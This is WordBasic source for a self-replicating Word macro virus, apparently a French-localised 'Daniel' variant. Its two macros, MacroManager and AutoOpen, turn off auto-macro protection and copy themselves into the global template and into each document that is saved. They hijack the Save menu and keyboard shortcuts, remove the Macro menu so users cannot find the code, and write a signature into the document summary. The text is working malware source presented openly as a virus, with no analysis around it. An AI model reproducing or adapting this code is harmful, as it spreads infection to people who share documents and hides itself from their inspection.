Macro MacroManager
Sub MAIN
On Error Goto CX
DsactiverMacrosAuto 0
OutilsOptionsEnregistrement .InviteGlobalDot = 0
N$ = UCase$(Right$(NomFichier$(0), 3))
If N$ <> "DOC" And N$ <> "DOT" Then Goto CX
E = CompteMacros(1)
X = 0
For i = 1 To E
If NomMacro$(i, 1) = "MacroManager" Then X = 1
If NomMacro$(i, 1) = "AutoOpen" Then X = 1
Next i
If X = 1 Then Goto CX
FichierEnregistrerSous .Nom = NomFichier$(0), .Format = 1, .AjouterAuxDfu = 1, .IncorporerPolices = 1
MacroCopie "Global:Word6Menu", NomFichier$(0) + ":AutoOpen", 1
MacroCopie "Global:MacroManager", NomFichier$(0) + ":MacroManager", 1
CX:
FichierRsum .MotsCls = "Daniel_Stone", .Commentaires = "All information should be free."
FichierEnregistrer
On Error Goto 0
End Sub
---------------
Macro AutoOpen
Sub MAIN
REM You've reached! Here is the virus. Enjoy.
REM This is the Word_Macro_Virus_Daniel_1F - Beta International Version.
REM Please Support the Virus Concept. Have a nice Day! (BR/US)
On Error Resume Next
MacroCopie NomFichier$(0) + ":AutoOpen", "Global:Word6Menu", 1
MacroCopie NomFichier$(0) + ":MacroManager", "Global:MacroManager", 1
T$ = TexteMenu$(0, 1)
H$ = TexteElmentMenu$(T$, 0, 5)
M$ = "&Save"
If H$ = "ArquivoSalvar" Or H$ = "&Salvar" Then M$ = "&Salvar"
OutilsPersonnaliserMenus .Position = 5,  .Menu = T$, .Nom = MacroElmentMenu$(T$, 0, 5), .TexteMenu = H$, .Contexte = 0, .Retirer
OutilsPersonnaliserMenus .Position = 5, .Catgorie = 2, .Nom = "MacroManager", .Menu = T$, .TexteMenu = M$, .Contexte = 0, .Ajouter
OutilsPersonnaliserClavier .CodeTouche = 339, .Catgorie = 2, .Nom = "MacroManager", .Ajouter, .Contexte = 0
OutilsPersonnaliserClavier .CodeTouche = 322, .Catgorie = 2, .Nom = "MacroManager", .Ajouter, .Contexte = 0
OutilsOptionsEnregistrement .InviteGlobalDot = 0
DsactiverMacrosAuto 0
T$ = TexteMenu$(0, 6)
M$ = "&Macro..."
G = 0
For n = 1 To CompteElmentsMenu(T$, 0, 0)
Y$ = TexteElmentMenu$(T$, 0, n, 0)
If Y$ = M$ Or Left$(Y$, 4) = "Macr" Or Left$(Y$, 4) = "&Mac" Then G = n
Next n
If G <> 0 Then H$ = TexteElmentMenu$(T$, 0, G, 0)
If G <> 0 Then OutilsPersonnaliserMenus .Position = G,  .Menu = T$, .Nom = MacroElmentMenu$(T$, 0, G, 0), .TexteMenu = H$, .Contexte = 0, .Retirer
T$ = TexteMenu$(1, 1)
M$ = "&Macro..."
G = 0
For n = 1 To CompteElmentsMenu(T$, 1, 0)
Y$ = TexteElmentMenu$(T$, 1, n, 0)
If Y$ = M$ Or Left$(Y$, 4) = "Macr" Or Left$(Y$, 4) = "&Mac" Then G = n
Next n
If G <> 0 Then H$ = TexteElmentMenu$(T$, 1, G, 0)
If G <> 0 Then OutilsPersonnaliserMenus .TypeMenu = 1, .Position = G,  .Menu = T$, .Nom = MacroElmentMenu$(T$, 1, G, 0), .TexteMenu = H$, .Contexte = 0, .Retirer
On Error Goto 0
End Sub
